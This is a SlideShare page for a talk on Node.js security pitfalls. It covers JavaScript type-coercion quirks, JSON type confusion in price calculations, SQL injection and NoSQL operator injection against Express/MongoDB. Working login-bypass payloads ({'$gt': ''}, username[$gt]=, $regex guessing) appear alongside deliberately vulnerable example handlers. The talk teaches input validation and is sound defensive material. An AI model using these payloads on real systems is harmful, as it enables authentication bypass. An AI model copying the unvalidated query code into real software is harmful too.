@pdp
Petko D. Petkov
Websecurify
GNUCITIZEN
Security
Challenges in
Node.js
Our Assumptions
• Node.js is a safe programming language
• NoSQL is a safe alternative to SQL
• Node.js + NoSQL = win
–Isaac Asimov
“Your assumptions are your windows
on the world. Scrub them off every
once in a while, or the light won't
co...
WTFJS!!!
wtfjs.com
parseInt('duck'); // NaN
parseInt('duck', 16); // 13
(2 + "3"); // 23
(2 + + "3"); // 5
(+""); // 0
(2 * "3"); // 6
0 === -0 //true
1/0 === 1/0 //true
1/0 === 1/-0 //false
var foo = [0];
console.log(foo == !foo); // true
console.log(foo == foo); // true
9999999999999999 //=> 10000000000000000
var hex = 0xFF55 << 8; // Shifting by 8 bits adds 0x00 at the end
alert(hex.toString(16)); // 0xFF5500
// Before 0x800000 ...
Node (0.10.35) Chrome (40.0) Firefox (34.0)
[] + [] "" "" ""
[] + {}
"[object
Object]"
"[object
Object]"
"[object
Object]"...
1 / [] // Infinity
1 / {} // NaN
1 / [1] // 1
1 / [[1]] // 1
1 / [[[1]]] // 1
1 ^ [] // 1
1 ^ {} // 1
"5" * 5 - "1" // 24
"5" * 5 - [] // 25
JSON
JavaScript Object
Notation
var obj = JSON.parse(input);
var price = Math.round(
obj.quantity * 5
);
{
"code": "USD",
"quantity": 1,
"item": "tie"
}
var obj = JSON.parse(input);
var price = Math.round(
1 * 5
);
// => price = 5
{
"code": "USD",
"quantity": {},
"item": "tie"
}
var obj = JSON.parse(input);
var price = Math.round(
{} * 5;
);
// => price = NaN
{
"code": "USD",
"quantity": [],
"item": "tie"
}
var obj = JSON.parse(input);
var price = Math.round(
[] * 5;
);
// => price = 0
var quantity = obj.quantity || 1;
// ---
var price;
switch (obj.item || 'tie') {
case 'tie': price = 5.76; break;
case 'so...
var quantity = obj.quantity || 1;
// ---
var price;
switch (obj.item || 'tie') {
case 'tie': price = 5.76; break;
case 'so...
SQLI
SQL Injection
SELECT * FROM users WHERE
username = '$user' AND password = '$pass'
SELECT * FROM usersWHERE
username = '' or 1=1--' AND p...
mysql_query("SELECT * FROM users WHERE
username = '$user' AND password = '$pass'");
db.users.find({
username: username,
password: password
});
app.post('/', function (req, res) {
var query = {
username: req.body.username,
password: req.body.password
};
db.users.fin...
app.post('/', function (req, res) {
var query = {
username: req.body.username,
password: req.body.password
};
db.users.fin...
Comparison Logical Element Evaluation Array Projection
$gt $and $exists $mod $all $
$gte $nor $type $regex $elementMatch $...
POST http://target/ HTTP/1.1
Content-Type: application/json
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
app.post('/', function (req, res) {
var query = {
username: {"$gt": ""},
password: {"$gt": ""}
};
db.users.find(query, fun...
app.post('/', function (req, res) {
var query = {
username: req.param('username'),
password: req.param('password')
};
db.u...
app.post('/', function (req, res) {
var query = {
username: req.param('username'),
password: req.param('password')
};
db.u...
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username[$gt]=&password[$gt]=
app.post('/', function (req, res) {
var query = {
username: {"$gt": ""},
password: {"$gt": ""}
};
db.users.find(query, fun...
a[0]=1 → a = [1]
a[0]=1&a[1]=2 → a = [1,2]
a[b]=1 → a = {b:1}
a[b]=1&a[c]=2 → a ={a:1, c:2}
app.post('/', function(req, res) {
User.findOne({user: req.body.user}, function (err, user) {
if (err) {
return res.render...
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=ab.c&pass=abc123
{
user: {$regex: "ab.c"},
pass: "abc123"
}
app.post('/', function(req, res) {
User.findOne({user: {$regex: "ab.c"}}, function (err, user) {
if (err) {
return res.ren...
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=ab.c&pass=abc123
POST http://tar...
Lessons
Learned
Always validate user-
supplied input!
of 46

Security Challenges in Node.js

The following illustrates some of the common security challanges Node.js developers are up against. The presentation covers various types of JavaScript-related hacks and NoSQL injection hacking via Express and MongoDB.
Published on: Mar 4, 2016
Published in: Software      
Source: www.slideshare.net


Transcripts - Security Challenges in Node.js

  • 1. @pdp Petko D. Petkov Websecurify GNUCITIZEN
  • 2. Security Challenges in Node.js
  • 3. Our Assumptions • Node.js is a safe programming language • NoSQL is a safe alternative to SQL • Node.js + NoSQL = win
  • 4. –Isaac Asimov “Your assumptions are your windows on the world. Scrub them off every once in a while, or the light won't come in.”
  • 5. WTFJS!!! wtfjs.com
  • 6. parseInt('duck'); // NaN parseInt('duck', 16); // 13
  • 7. (2 + "3"); // 23 (2 + + "3"); // 5 (+""); // 0 (2 * "3"); // 6
  • 8. 0 === -0 //true 1/0 === 1/0 //true 1/0 === 1/-0 //false
  • 9. var foo = [0]; console.log(foo == !foo); // true console.log(foo == foo); // true
  • 10. 9999999999999999 //=> 10000000000000000
  • 11. var hex = 0xFF55 << 8; // Shifting by 8 bits adds 0x00 at the end alert(hex.toString(16)); // 0xFF5500 // Before 0x800000 it's ok alert((0x777777 << 8).toString(16)); // 0x77777700 // After 0x800000 it's not ok alert((0x888888 << 8).toString(16)); // -0x77777800, WTF?
  • 12. Node (0.10.35) Chrome (40.0) Firefox (34.0) [] + [] "" "" "" [] + {} "[object Object]" "[object Object]" "[object Object]" {} + [] "[object Object]" 0 0 {} + {} "[object Object][object Object]" NaN NaN
  • 13. 1 / [] // Infinity 1 / {} // NaN
  • 14. 1 / [1] // 1 1 / [[1]] // 1 1 / [[[1]]] // 1
  • 15. 1 ^ [] // 1 1 ^ {} // 1
  • 16. "5" * 5 - "1" // 24 "5" * 5 - [] // 25
  • 17. JSON JavaScript Object Notation
  • 18. var obj = JSON.parse(input); var price = Math.round( obj.quantity * 5 );
  • 19. { "code": "USD", "quantity": 1, "item": "tie" }
  • 20. var obj = JSON.parse(input); var price = Math.round( 1 * 5 ); // => price = 5
  • 21. { "code": "USD", "quantity": {}, "item": "tie" }
  • 22. var obj = JSON.parse(input); var price = Math.round( {} * 5; ); // => price = NaN
  • 23. { "code": "USD", "quantity": [], "item": "tie" }
  • 24. var obj = JSON.parse(input); var price = Math.round( [] * 5; ); // => price = 0
  • 25. var quantity = obj.quantity || 1; // --- var price; switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; } // --- var total = cur * quantity * price; // --- res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)})); var obj; try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; } // --- var cur; switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; } // ---
  • 26. var quantity = obj.quantity || 1; // --- var price; switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; } // --- var total = cur * quantity * price; // --- res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)})); var obj; try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; } // --- var cur; switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; } // ---
  • 27. SQLI SQL Injection
  • 28. SELECT * FROM users WHERE username = '$user' AND password = '$pass' SELECT * FROM usersWHERE username = '' or 1=1--' AND password = ''
  • 29. mysql_query("SELECT * FROM users WHERE username = '$user' AND password = '$pass'");
  • 30. db.users.find({ username: username, password: password });
  • 31. app.post('/', function (req, res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 32. app.post('/', function (req, res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 33. Comparison Logical Element Evaluation Array Projection $gt $and $exists $mod $all $ $gte $nor $type $regex $elementMatch $elementMatch $in $not $text $size $meta $lt $or $where $slice $lte $ne $nin
  • 34. POST http://target/ HTTP/1.1 Content-Type: application/json { "username": {"$gt": ""}, "password": {"$gt": ""} }
  • 35. app.post('/', function (req, res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 36. app.post('/', function (req, res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 37. app.post('/', function (req, res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 38. POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded username[$gt]=&password[$gt]=
  • 39. app.post('/', function (req, res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 40. a[0]=1 → a = [1] a[0]=1&a[1]=2 → a = [1,2] a[b]=1 → a = {b:1} a[b]=1&a[c]=2 → a ={a:1, c:2}
  • 41. app.post('/', function(req, res) { User.findOne({user: req.body.user}, function (err, user) { if (err) { return res.render('index', {message: err.message}); } // --- if (!user) { return res.render('index', {message: 'Sorry!'}); } // --- if (user.hash != sha1(req.body.pass)) { return res.render('index', {message: 'Sorry!'}); } // --- return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
  • 42. POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=ab.c&pass=abc123
  • 43. { user: {$regex: "ab.c"}, pass: "abc123" }
  • 44. app.post('/', function(req, res) { User.findOne({user: {$regex: "ab.c"}}, function (err, user) { if (err) { return res.render('index', {message: err.message}); } // --- if (!user) { return res.render('index', {message: 'Sorry!'}); } // --- if (user.hash != sha1("abc123")) { return res.render('index', {message: 'Sorry!'}); } // --- return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
  • 45. POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=ab.c&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=ba.c&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=cd.e&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=dc.e&pass=abc123
  • 46. Lessons Learned Always validate user- supplied input!

Related Documents